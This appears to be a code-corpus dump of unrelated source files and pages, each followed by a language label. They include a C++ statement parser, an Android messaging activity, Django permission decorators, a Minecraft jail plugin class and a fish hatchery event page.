parseStatementOrFail(body, source);
code.insert<FunctionDefinitionCodeStatement>(returnTypeSpecifier,
name, parameterList, body, returnTypeSpecifier.span() + _lastSpan);
return true;
}
void parseStatementSequence(Code code, CharacterSource* source)
{
do {
if (!parseStatement(code, source))
return;
} while (true);
}
bool parseCompoundStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseCharacter(source, '{', &span))
return false;
parseStatementSequence(code, source);
Space::assertCharacter(source, '}', &span);
_lastSpan = span;
return true;
}
// TycoDefinitionStatement := TycoSignifier "=" TycoSpecifier ";"
bool parseTycoDefinitionStatement(Code code, CharacterSource* source)
{
CharacterSource s = *source;
CharacterSource s2 = s;
TycoSignifier tycoSignifier = TycoSignifier::parse(&s);
if (!tycoSignifier.valid())
return false;
if (!Space::parseCharacter(&s, '='))
return false;
*source = s;
TycoSpecifier tycoSpecifier = TycoSpecifier::parse(source);
Span span;
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
code.insert<TycoDefinitionStatement>(tycoSignifier, tycoSpecifier,
tycoSignifier.span() + span);
return true;
}
bool parseNothingStatement(CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "nothing", &span))
return false;
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
return true;
}
bool parseIncrementDecrementStatement(Code code, CharacterSource* source)
{
Span span;
Operator o = OperatorIncrement().parse(source, &span);
if (!o.valid())
o = OperatorDecrement().parse(source, &span);
if (!o.valid())
return false;
Expression lValue = Expression::parse(source);
Span span2;
Space::assertCharacter(source, ';', &span2);
_lastSpan = span2;
code.insert<ExpressionStatement>(FunctionCallExpression::unary(o, span,
FunctionCallExpression::unary(
OperatorAmpersand(), Span(), lValue)),
span + span2);
return true;
}
void parseConditionalStatement2(Code code, CharacterSource* source,
Span span, bool unlessStatement)
{
Space::assertCharacter(source, '(');
Expression condition = Expression::parseOrFail(source);
Space::assertCharacter(source, ')');
CodeList conditionalCode;
parseStatementOrFail(conditionalCode, source);
span += _lastSpan;
CodeList elseCode;
if (Space::parseKeyword(source, "else"))
parseStatementOrFail(elseCode, source);
else {
if (Space::parseKeyword(source, "elseIf"))
parseConditionalStatement2(elseCode, source, span, false);
else {
if (Space::parseKeyword(source, "elseUnless"))
parseConditionalStatement2(elseCode, source, span, true);
}
}
if (unlessStatement)
condition = !condition;
code.insert<ConditionalStatement>(condition, conditionalCode, elseCode,
span + _lastSpan);
}
// ConditionalStatement = (`if` | `unless`) ConditionedStatement
// ((`elseIf` | `elseUnless`) ConditionedStatement)* [`else` Statement];
// ConditionedStatement = "(" Expression ")" Statement;
bool parseConditionalStatement(Code code, CharacterSource* source)
{
Span span;
if (Space::parseKeyword(source, "if", &span)) {
parseConditionalStatement2(code, source, span, false);
return true;
}
if (Space::parseKeyword(source, "unless", &span)) {
parseConditionalStatement2(code, source, span, true);
return true;
}
return false;
}
SwitchStatement::Case parseCase(CharacterSource* source)
{
List<Expression> expressions;
bool defaultType;
Span span;
if (Space::parseKeyword(source, "case", &span)) {
defaultType = false;
do {
Expression expression = Expression::parseOrFail(source);
expressions.add(expression);
if (!Space::parseCharacter(source, ','))
break;
} while (true);
}
else {
defaultType = true;
if (!Space::parseKeyword(source, "default", &span))
source->location().throwError("Expected case or default");
}
Space::assertCharacter(source, ':');
CodeList code;
parseStatementOrFail(code, source);
span += _lastSpan;
if (defaultType)
return SwitchStatement::Case(code, span);
return SwitchStatement::Case(expressions, code, span);
}
bool parseSwitchStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "switch", &span))
return false;
Space::assertCharacter(source, '(');
Expression expression = Expression::parseOrFail(source);
Space::assertCharacter(source, ')');
Space::assertCharacter(source, '{');
SwitchStatement::Case defaultCase;
CharacterSource s = *source;
List<SwitchStatement::Case> cases;
do {
SwitchStatement::Case c = parseCase(source);
if (!c.valid())
break;
if (c.isDefault()) {
if (defaultCase.valid())
s.location().throwError(
"This switch statement already has a default case");
defaultCase = c;
}
else
cases.add(c);
} while (true);
Space::assertCharacter(source, '}', &span);
_lastSpan = span;
code.insert<SwitchStatement>(expression, defaultCase, cases, span);
return true;
}
bool parseReturnStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "return", &span))
return false;
Expression expression = Expression::parseOrFail(source);
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
code.insert<ReturnStatement>(expression, span);
return true;
}
bool parseIncludeStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "include", &span))
return false;
Expression expression = parseExpression(source);
StringLiteralExpression s(expression);
if (!s.valid()) {
expression.span().throwError("Argument to include must be a "
"simple string");
}
String path = s.string();
//Resolver resolver;
//resolver.resolve(expression);
//Evaluator evaluator;
//Value value = evaluator.evaluate(expression).convertTo(StringType());
//String path = value.value<String>();
File lastFile = _currentFile;
_currentFile = File(path, _currentFile.parent());
parseFromFile(code, _currentFile);
_currentFile = lastFile;
}
bool parseBreakOrContinueStatement(Code code, CharacterSource* source)
{
int breakCount = 0;
bool hasContinue = false;
Span span;
do {
if (Space::parseKeyword(source, "break", &span))
++breakCount;
else
break;
} while (true);
if (Space::parseKeyword(source, "continue", &span))
hasContinue = true;
if (breakCount == 0 && !hasContinue)
return false;
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
code.insert<BreakOrContinueStatement>(span, breakCount, hasContinue);
return true;
}
bool parseForeverStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "forever", &span))
return false;
CodeList body;
parseStatementOrFail(body, source);
code.insert<ForeverStatement>(body, span);
return true;
}
bool parseWhileStatement(Code code, CharacterSource* source)
{
Span span;
CodeList doCode;
bool foundDo = false;
if (Space::parseKeyword(source, "do", &span)) {
foundDo = true;
parseStatementOrFail(doCode, source);
}
bool foundWhile = false;
bool foundUntil = false;
if (Space::parseKeyword(source, "while", &span))
foundWhile = true;
else
if (Space::parseKeyword(source, "until", &span))
foundUntil = true;
if (!foundWhile && !foundUntil) {
if (foundDo)
source->location().throwError("Expected while or until");
return false;
}
Space::assertCharacter(source, '(');
Expression condition = Expression::parse(source);
Space::assertCharacter(source, ')');
CodeList body;
parseStatementOrFail(body, source);
CodeList doneCode;
if (Space::parseKeyword(source, "done"))
parseStatementOrFail(doneCode, source);
span += _lastSpan;
if (foundUntil)
condition = !condition;
code.insert<WhileStatement>(doCode, condition, body, doneCode, span);
return true;
}
bool parseForStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "for", &span))
return false;
Space::assertCharacter(source, '(');
CodeList preCode;
if (!parseStatement(preCode, source))
Space::assertCharacter(source, ';');
Expression expression = Expression::parse(source);
Space::assertCharacter(source, ';');
CodeList postCode;
parseStatement(postCode, source);
Space::parseCharacter(source, ')');
CodeList body;
parseStatement(body, source);
span += _lastSpan;
CodeList doneCode;
if (Space::parseKeyword(source, "done")) {
parseStatementOrFail(doneCode, source);
span += _lastSpan;
}
code.insert<ForStatement>(preCode, expression, postCode, body,
doneCode, span);
return true;
}
bool parseLabelStatement(Code code, CharacterSource* source)
{
CharacterSource s2 = *source;
Identifier identifier = Identifier::parse(&s2);
if (!identifier.valid())
return false;
Span span;
if (!Space::parseCharacter(&s2, ':', &span))
return false;
_lastSpan = span;
code.insert<LabelStatement>(identifier, identifier.span() + span);
return true;
}
bool parseGotoStatement(Code code, CharacterSource* source)
{
Span span;
if (!Space::parseKeyword(source, "goto", &span))
return false;
Expression expression = Expression::parseOrFail(source);
Span span2;
Space::parseCharacter(source, ';', &span);
code.insert<GotoStatement>(expression, span);
return true;
}
Span _lastSpan;
File _currentFile;
};
#endif // INCLUDED_PARSER_H | Java |
// vi: nu:noai:ts=4:sw=4
//
// c_defs
//
// Created by bob on 1/14/19.
//
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org/>
*/
#include <cmn_defs.h>
#include <AStr.h>
#include <CsvFile.h>
#include <Path.h>
#include <trace.h>
#include <uuid/uuid.h>
//===============================================================
// M a i n
//===============================================================
int main(
int argc,
const
char * argv[]
)
{
//bool fRc;
uint8_t uuid[16];
uint32_t i;
char *pUUID = "A63EA833-7B46-45DD-B63D-4B9446ED845A";
int iRc;
uuid_t uuid2 = { 0xA6, 0x3E, 0xA8, 0x33, 0x7B, 0x46, 0x45,
0xDD, 0xB6, 0x3D, 0x4B, 0x94, 0x46, 0xED,
0x84, 0x5A
};
uuid_string_t uuid2str; // Internally seems to be char [37]
fprintf(stdout, "size of ptr: %d\n", (int)sizeof(long *));
fprintf(stdout, "size of long: %d\n", (int)sizeof(long));
fprintf(stdout, "size of int: %d\n", (int)sizeof(int));
fprintf(stdout, "size of short: %d\n", (int)sizeof(short));
fprintf(stdout, "size of uint64_t: %d\n", (int)sizeof(uint64_t));
fprintf(stdout, "size of uint32_t: %d\n", (int)sizeof(uint32_t));
fprintf(stdout, "size of uint16_t: %d\n", (int)sizeof(uint16_t));
// This is MacOS's way of dealing with UUIDs/GUIDs.
iRc = uuid_parse(pUUID, uuid);
fprintf(stdout, "parse ret=%d\n", iRc);
fprintf(stdout, "%s -> ", pUUID);
for (i=0; i<16; i++) {
fprintf(stdout, "0x%02X, ", uuid[i]);
}
fprintf(stdout, "\n");
uuid_unparse(uuid, uuid2str);
fprintf(stdout, "uuid: %s\n", uuid2str);
uuid_unparse(uuid2, uuid2str);
fprintf(stdout, "uuid2: %s\n", uuid2str);
fprintf(stdout, "\n\n\n");
return 0;
}
| Java |
---
title: 'Wolf Creek National Fish Hatchery Open House'
start: 2019-12-14T10:00:00.000Z
end: 2019-12-14T14:00:00.000Z
description: 'Come celebrate with our holiday open house and nature ornament workshop. Light refreshments and holiday entertainment with be provided. Make a nature themed ornament for our Christmas tree and take home another for your own. Event sponsored by the Friends of Wolf Creek National Fish Hatchery.'
hero:
name: wolf-creek-nfh-holiday-table.jpg
alt: 'A table with a sign that reads Wolf Creek NFH Holiday Open House with craft making supplies'
caption: 'Wolf Creek National Fish Hatchery Open House. Photo by USFWS.'
position: '10% 55%'
timezone: CDT
tags:
- Kentucky
- 'Wolf Creek National Fish Hatchery'
updated: 'December 4th, 2019'
---
## Description
Come celebrate with our holiday open house and nature ornament workshop. Light refreshments and holiday entertainment with be provided. Make a nature themed ornament for our Christmas tree and take home another for your own. Event sponsored by the Friends of Wolf Creek National Fish Hatchery.
- Open house: 10:00 a.m - 2:00 p.m. CST
- Craft stations open: 10:00 a.m. - 1:30 p.m. CST
## Location
Wolf Creek National Fish Hatchery
50 Kendall Road Jamestown, KY 42629
## Contact
Moria Painter, Environmental education and interpretation specialist
[moria_painter@fws.gov](mailto:moria_painter@fws.gov), (270) 343-3797
## Flyer
{{< figure class="photo-center" src="/images/pages/2019-wolf-creek-nfh-openhouse.jpg" alt="A flyer for this event; information above" >}} | Java |
#include_next <cxxabi.h>
| Java |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Get Twemoji!</title>
<link rel="stylesheet" href="http://ellekasai.github.io/twemoji-awesome/twemoji-awesome.css">
</head>
<body>
<i class="twa twa-chilli" style="-webkit-font-smoothing : none; font-size:200px; font-smooth: never; filter: contrast(1);" title=":heart:"></i>
<i class="twa twa-chili-pepper" style="-webkit-font-smoothing : none; font-size:200px; font-smooth: never; filter: contrast(1);" title=":heart:"></i>
</body>
</html>
| Java |
package com.elionhaxhi.ribbit.ui;
import java.util.ArrayList;
import java.util.List;
import android.app.Activity;
import android.app.AlertDialog;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.NavUtils;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.Window;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.GridView;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import com.elionhaxhi.ribbit.R;
import com.elionhaxhi.ribbit.adapters.UserAdapter;
import com.elionhaxhi.ribbit.utils.FileHelper;
import com.elionhaxhi.ribbit.utils.ParseConstants;
import com.parse.FindCallback;
import com.parse.ParseException;
import com.parse.ParseFile;
import com.parse.ParseInstallation;
import com.parse.ParseObject;
import com.parse.ParsePush;
import com.parse.ParseQuery;
import com.parse.ParseRelation;
import com.parse.ParseUser;
import com.parse.SaveCallback;
public class RecipientsActivity extends Activity {
public static final String TAG=RecipientsActivity.class.getSimpleName();
protected List<ParseUser> mFriends;
protected ParseRelation<ParseUser> mFriendsRelation;
protected ParseUser mCurrentUser;
protected MenuItem mSendMenuItem;
protected Uri mMediaUri;
protected String mFileType;
protected GridView mGridView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
setContentView(R.layout.user_grid);
//setupActionBar();
mGridView =(GridView)findViewById(R.id.friendsGrid);
mGridView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);
mGridView.setOnItemClickListener(mOnItemClickListener);
TextView emptyTextView = (TextView)findViewById(android.R.id.empty);
mGridView.setEmptyView(emptyTextView);
mMediaUri = getIntent().getData();
mFileType = getIntent().getExtras().getString(ParseConstants.KEY_FILE_TYPE);
}
@Override
public void onResume(){
super.onResume();
mCurrentUser = ParseUser.getCurrentUser();
mFriendsRelation = mCurrentUser.getRelation(ParseConstants.KEY_FRIENDS_RELATION);
setProgressBarIndeterminateVisibility(true);
ParseQuery<ParseUser> query = mFriendsRelation.getQuery();
query.addAscendingOrder(ParseConstants.KEY_USERNAME);
query.findInBackground(new FindCallback<ParseUser>(){
@Override
public void done(List<ParseUser> friends, ParseException e){
setProgressBarIndeterminateVisibility(false);
if(e == null){
mFriends = friends;
String [] usernames = new String[mFriends.size()];
int i =0;
for(ParseUser user : mFriends){
usernames[i]=user.getUsername();
i++;
}
if(mGridView.getAdapter() == null){
UserAdapter adapter = new UserAdapter(RecipientsActivity.this, mFriends);
mGridView.setAdapter(adapter);
}
else{
((UserAdapter)mGridView.getAdapter()).refill(mFriends);
}
}
else{
Log.e(TAG, e.getMessage());
AlertDialog.Builder builder= new AlertDialog.Builder(RecipientsActivity.this);
builder.setMessage(e.getMessage())
.setTitle(R.string.error_title)
.setPositiveButton(android.R.string.ok, null);
AlertDialog dialog = builder.create();
dialog.show();
}
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.reciptient, menu);
mSendMenuItem = menu.getItem(0);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
switch(item.getItemId()){
case android.R.id.home:
NavUtils.navigateUpFromSameTask(this);
return true;
case R.id.action_send:
ParseObject message = createMessage();
if(message == null){
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(R.string.error_selecting_file)
.setTitle(R.string.error_selection_file_title)
.setPositiveButton(android.R.string.ok, null);
AlertDialog dialog = builder.create();
dialog.show();
}
else
{
send(message);
finish();
}
return true;
}
return super.onOptionsItemSelected(item);
}
protected ParseObject createMessage(){
ParseObject message = new ParseObject(ParseConstants.CLASS_MESSAGE);
message.put(ParseConstants.KEY_SENDER_ID, ParseUser.getCurrentUser().getObjectId());
message.put(ParseConstants.KEY_SENDER_NAME, ParseUser.getCurrentUser().getUsername());
message.put(ParseConstants.KEY_RECIPIENT_IDS, getRecipientIds());
message.put(ParseConstants.KEY_FILE_TYPE, mFileType);
byte[] fileBytes = FileHelper.getByteArrayFromFile(this, mMediaUri);
if(fileBytes == null){
return null;
}
else{
if(mFileType.equalsIgnoreCase(ParseConstants.TYPE_IMAGE)){
fileBytes = FileHelper.reduceImageForUpload(fileBytes);
}
String fileName = FileHelper.getFileName(this, mMediaUri, mFileType);
ParseFile file = new ParseFile(fileName, fileBytes);
message.put(ParseConstants.KEY_FILE, file);
return message;
}
}
protected ArrayList<String> getRecipientIds(){
ArrayList<String> recipientIds = new ArrayList<String>();
for(int i=0; i< mGridView.getCount(); i++){
if(mGridView.isItemChecked(i)){
recipientIds.add(mFriends.get(i).getObjectId());
}
}
return recipientIds;
}
protected void send(ParseObject message){
message.saveInBackground(new SaveCallback(){
@Override
public void done(ParseException e){
if(e == null){
//success
Toast.makeText(RecipientsActivity.this, R.string.success_message, Toast.LENGTH_LONG).show();
sendPushNotifications();
}
else{
AlertDialog.Builder builder = new AlertDialog.Builder(RecipientsActivity.this);
builder.setMessage(R.string.error_sending_message)
.setTitle(R.string.error_selection_file_title)
.setPositiveButton(android.R.string.ok, null);
AlertDialog dialog = builder.create();
dialog.show();
}
}
});
}
protected OnItemClickListener mOnItemClickListener = new OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position,
long id) {
if(mGridView.getCheckedItemCount() > 0)
{
mSendMenuItem.setVisible(true);
}
else{
mSendMenuItem.setVisible(false);
}
ImageView checkImageView =(ImageView)findViewById(R.id.checkImageView);
if(mGridView.isItemChecked(position)){
//add recipient
checkImageView.setVisibility(View.VISIBLE);
}
else{
//remove the recipient
checkImageView.setVisibility(View.INVISIBLE);
}
}
};
protected void sendPushNotifications(){
ParseQuery<ParseInstallation> query = ParseInstallation.getQuery();
query.whereContainedIn(ParseConstants.KEY_USER_ID, getRecipientIds());
//send a push notificaton
ParsePush push = new ParsePush();
push.setQuery(query);
push.setMessage(getString(R.string.push_message, ParseUser.getCurrentUser().getUsername()));
push.sendInBackground();
}
}
| Java |
<!DOCTYPE html>
<html>
<head>
<title>Henlo World</title>
<meta charset="UTF-8">
<style>
body {
font-family: helvetica, sans serif;
text-align: center;
background-color: #fceed4;
padding-top: 20%;
}
</style>
</head>
<body>
<div>
<a href="https://twitter.com/ChristenNguyen">😸</a> |
<a href="https://www.instagram.com/deathbypuppies/">📷</a> |
<a href="https://www.youtube.com/watch?v=JaPf-MRKITg">🎼</a>
</div>
<p>Hello World, I'm Christen! Here's a link to my <a href="https://github.com/christennguyen">Github</a>!</p>
</body>
</html> | Java |
---
ID: 122673
post_title: Rules
author: Mark
post_excerpt: ""
layout: page
permalink: https://philoserf.com/rules/
published: true
post_date: 2020-01-01 00:06:55
---
<h2>level one</h2>
<ul><li>if it has a name do not give it another name</li>
<li>if you have given it a name do not give it another name</li>
<li>start with one file until you need^ another file</li>
<li>start with one folder until you need^ another folder</li>
<li>adapt to the default configuration</li>
<li>after a sincere effort to adapt fails, change the default configuration</li>
<li>don't think about lint and style, use tools for that</li>
</ul>
<h2>level two</h2>
<ul><li>test everything^</li>
<li>deploy every merge request that passes the tests</li>
<li>test everything^</li>
<li>release master after every merge</li>
</ul>
<h2>level three</h2>
<ul><li>rebase to reorganize before you offer a pull request</li>
<li>rebase again to squash before you merge to master</li>
</ul>
<h2>todo</h2>
<ul><li>add why</li>
<li>provide examples</li>
<li>^define <em>need</em></li>
<li>^define <em>everything</em></li>
</ul>
| Java |
<?php
/**
* Pizza E96
*
* @author: Paul Melekhov
*/
namespace App\Http;
/**
* Поднятие этого исключения служит сигналом для FrontController о том,
* что нужно отобразить страницу с ошибкой HTTP/1.1 400 Bad Request
*/
class BadRequestException extends Exception
{
public function __construct($message = "", $code = 0, Exception $previous = null) {
parent::__construct($message, $code, $previous);
$this->_httpStatusCode = 400;
$this->_httpStatusMessage = "Bad Request";
}
}
| Java |
# ambuttu.sh
ambuttu
| Java |
class PermissionRequired(Exception):
"""
Exception to be thrown by views which check permissions internally.
Takes a single C{perm} argument which defines the permission that caused
the exception.
"""
def __init__(self, perm):
self.perm = perm
def require_permissions(user, *permissions):
for perm in permissions:
if not user.has_perm(perm):
raise PermissionRequired(perm)
class checks_permissions(object):
"""
Decorator for views which handle C{PermissionRequired} errors and renders
the given error view if necessary.
The original request and arguments are passed to the error with the
additional C{_perm} and C{_view} keyword arguments.
"""
def __init__(self, view_or_error=None):
self.wrapped = callable(view_or_error)
error_view = None
if self.wrapped:
self.view = view_or_error
else:
error_view = view_or_error
if not error_view:
from django.conf import settings
error_view = settings.PERMISSIONS_VIEW
from django.core.urlresolvers import get_callable
self.error_view = get_callable(error_view)
def __call__(self, view_or_request, *args, **kwargs):
if not self.wrapped:
self.view = view_or_request
def dec(*args, **kwargs):
try:
return self.view(*args, **kwargs)
except PermissionRequired as e:
kwargs['_perm'] = e.perm
kwargs['_view'] = self.view
return self.error_view(*args, **kwargs)
return dec(view_or_request, *args, **kwargs) if self.wrapped else dec
class permission_required(object):
"""
Decorator which builds upon the C{checks_permission} decorator to offer
the same functionality as the built-in
C{django.contrib.auth.decorators.permission_required} decorator but which
renders an error view insted of redirecting to the login page.
"""
def __init__(self, perm, error_view=None):
self.perm = perm
self.error_view = error_view
def __call__(self, view_func):
def decorator(request, *args, **kwargs):
if not request.user.has_perm(self.perm):
raise PermissionRequired(self.perm)
return view_func(request, *args, **kwargs)
return checks_permissions(self.error_view)(decorator)
| Java |
package com.intershop.adapter.payment.partnerpay.internal.service.capture;
import javax.inject.Inject;
import com.google.inject.Injector;
import com.intershop.adapter.payment.partnerpay.capi.service.capture.CaptureFactory;
import com.intershop.api.service.payment.v1.capability.Capture;
public class CaptureFactoryImpl implements CaptureFactory
{
@Inject
private Injector injector;
@Override
public Capture createCapture()
{
Capture ret = new CaptureImpl();
injector.injectMembers(ret);
return ret;
}
}
| Java |
#ifndef REGTEST
#include <threads.h>
#include <windows.h>
int mtx_lock(mtx_t *mtx)
{
DWORD myId = GetCurrentThreadId();
if(mtx->_ThreadId == (long) myId) {
mtx->_NestCount++;
return thrd_success;
}
for(;;) {
LONG prev = InterlockedCompareExchange(&mtx->_ThreadId, myId, 0);
if(prev == 0)
return thrd_success;
DWORD rv = WaitForSingleObject(mtx->_WaitEvHandle, INFINITE);
if(rv != WAIT_OBJECT_0)
return thrd_error;
}
}
#endif
#ifdef TEST
#include "_PDCLIB_test.h"
int main( void )
{
return TEST_RESULTS;
}
#endif | Java |
// This Source Code is in the Public Domain per: http://unlicense.org
package org.litesoft.commonfoundation.charstreams;
/**
* A CharSource is like a powerful version of a "char" based Iterator.
*/
public interface CharSource {
/**
* Report if there are any more characters available to get().
* <p/>
* Similar to Iterator's hasNext().
*/
public boolean anyRemaining();
/**
* Get the next character (consume it from the stream) or -1 if there are no more characters available.
*/
public int get();
/**
* Get the next character (consume it from the stream) or throw an exception if there are no more characters available.
*/
public char getRequired();
/**
* Return the next character (without consuming it) or -1 if there are no more characters available.
*/
public int peek();
/**
* Return the Next Offset (from the stream) that the peek/get/getRequired would read from (it may be beyond the stream end).
*/
public int getNextOffset();
/**
* Return the Last Offset (from the stream), which the previous get/getRequired read from (it may be -1 if stream has not been successfully read from).
*/
public int getLastOffset();
/**
* Return a string (and consume the characters) from the current position up to (but not including) the position of the 'c' character. OR "" if 'c' is not found (nothing consumed).
*/
public String getUpTo( char c );
/**
* Consume all the spaces (NOT white space) until either there are no more characters or a non space is encountered (NOT consumed).
*
* @return true if there are more characters.
*/
public boolean consumeSpaces();
/**
* Return a string (and consume the characters) from the current position thru the end of the characters OR up to (but not including) a character that is not a visible 7-bit ascii character (' ' < c <= 126).
*/
public String getUpToNonVisible7BitAscii();
/**
* Consume all the non-visible 7-bit ascii characters (visible c == ' ' < c <= 126) until either there are no more characters or a visible 7-bit ascii character is encountered (NOT consumed).
*
* @return true if there are more characters.
*/
public boolean consumeNonVisible7BitAscii();
}
| Java |
package net.simpvp.Jail;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.UUID;
import org.bukkit.Location;
/**
* Class representing the stored information about a jailed player
*/
public class JailedPlayer {
public UUID uuid;
public String playername;
public String reason;
public String jailer;
public Location location;
public int jailed_time;
public boolean to_be_released;
public boolean online;
public JailedPlayer(UUID uuid, String playername, String reason, String jailer, Location location, int jailed_time, boolean to_be_released, boolean online) {
this.uuid = uuid;
this.playername = playername;
this.reason = reason;
this.jailer = jailer;
this.location = location;
this.jailed_time = jailed_time;
this.to_be_released = to_be_released;
this.online = online;
}
public void add() {
Jail.jailed_players.add(this.uuid);
}
public void insert() {
SQLite.insert_player_info(this);
}
public int get_to_be_released() {
int ret = 0;
if (this.to_be_released)
ret ^= 1;
if (!this.online)
ret ^= 2;
return ret;
}
/**
* Returns a text description of this jailed player.
*/
public String get_info() {
SimpleDateFormat sdf = new SimpleDateFormat("d MMMM yyyy, H:m:s");
String msg = this.playername + " (" + this.uuid + ")"
+ " was jailed on " + sdf.format(new Date(this.jailed_time * 1000L))
+ " by " + this.jailer
+ " for" + this.reason + ".";
if (this.to_be_released) {
msg += "\nThis player is set to be released";
}
return msg;
}
}
| Java |
/*
* NOTE: This copyright does *not* cover user programs that use HQ
* program services by normal system calls through the application
* program interfaces provided as part of the Hyperic Plug-in Development
* Kit or the Hyperic Client Development Kit - this is merely considered
* normal use of the program, and does *not* fall under the heading of
* "derived work".
*
* Copyright (C) [2004, 2005, 2006], Hyperic, Inc.
* This file is part of HQ.
*
* HQ is free software; you can redistribute it and/or modify
* it under the terms version 2 of the GNU General Public License as
* published by the Free Software Foundation. This program is distributed
* in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA.
*/
package org.hyperic.hq.ui.action.portlet.autoDisc;
import org.hyperic.hq.appdef.shared.AIPlatformValue;
import org.hyperic.hq.autoinventory.ScanStateCore;
import org.hyperic.hq.autoinventory.ScanMethodState;
public class AIPlatformWithStatus
extends AIPlatformValue {
private ScanStateCore state = null;
public AIPlatformWithStatus(AIPlatformValue aip, ScanStateCore state) {
super(aip);
this.state = state;
}
public boolean getIsAgentReachable() {
return state != null;
}
public boolean getIsScanning() {
return state != null && !state.getIsDone();
}
public String getStatus() {
if (state == null)
return "Agent is not responding";
if (state.getGlobalException() != null) {
return state.getGlobalException().getMessage();
}
ScanMethodState[] methstates = state.getScanMethodStates();
String rval = "";
String status;
for (int i = 0; i < methstates.length; i++) {
status = methstates[i].getStatus();
if (status != null)
rval += status.trim();
}
rval = rval.trim();
if (rval.length() == 0) {
rval = "Scan starting...";
}
return rval;
}
}
| Java |
#ifndef HAVE_spiral_io_hpp
#define HAVE_spiral_io_hpp
#include <cstdio>
#include "spiral/core.hpp"
#include "spiral/string.hpp"
namespace spiral {
struct IoObj {
const ObjTable* otable;
std::FILE* stdio;
bool close_on_drop;
};
auto io_from_val(Bg* bg, Val val) -> IoObj*;
auto io_from_obj_ptr(void* obj_ptr) -> IoObj*;
auto io_new_from_stdio(Bg* bg, void* sp, std::FILE* stdio, bool close_on_drop) -> IoObj*;
void io_stringify(Bg* bg, Buffer* buf, void* obj_ptr);
auto io_length(void* obj_ptr) -> uint32_t;
auto io_evacuate(GcCtx* gc_ctx, void* obj_ptr) -> Val;
void io_scavenge(GcCtx* gc_ctx, void* obj_ptr);
void io_drop(Bg* bg, void* obj_ptr);
auto io_eqv(Bg* bg, void* l_ptr, void* r_ptr) -> bool;
extern const ObjTable io_otable;
auto io_open_file(Bg* bg, void* sp, StrObj* path, const char* mode) -> Val;
extern "C" {
auto spiral_std_io_file_open(Bg* bg, void* sp, uint32_t path) -> uint32_t;
auto spiral_std_io_file_create(Bg* bg, void* sp, uint32_t path) -> uint32_t;
auto spiral_std_io_file_append(Bg* bg, void* sp, uint32_t path) -> uint32_t;
auto spiral_std_io_close(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_flush(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_is_io(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_is_eof(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_is_error(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_stdin(Bg* bg, void* sp) -> uint32_t;
auto spiral_std_io_stdout(Bg* bg, void* sp) -> uint32_t;
auto spiral_std_io_stderr(Bg* bg, void* sp) -> uint32_t;
auto spiral_std_io_write_byte(Bg* bg, void* sp, uint32_t io, uint32_t byte) -> uint32_t;
auto spiral_std_io_write(Bg* bg, void* sp, uint32_t io, uint32_t str) -> uint32_t;
auto spiral_std_io_write_line(Bg* bg, void* sp, uint32_t io, uint32_t str) -> uint32_t;
auto spiral_std_io_read_byte(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_read_str(Bg* bg, void* sp, uint32_t io, uint32_t len) -> uint32_t;
auto spiral_std_io_read_all_str(Bg* bg, void* sp, uint32_t io) -> uint32_t;
auto spiral_std_io_read_line(Bg* bg, void* sp, uint32_t io) -> uint32_t;
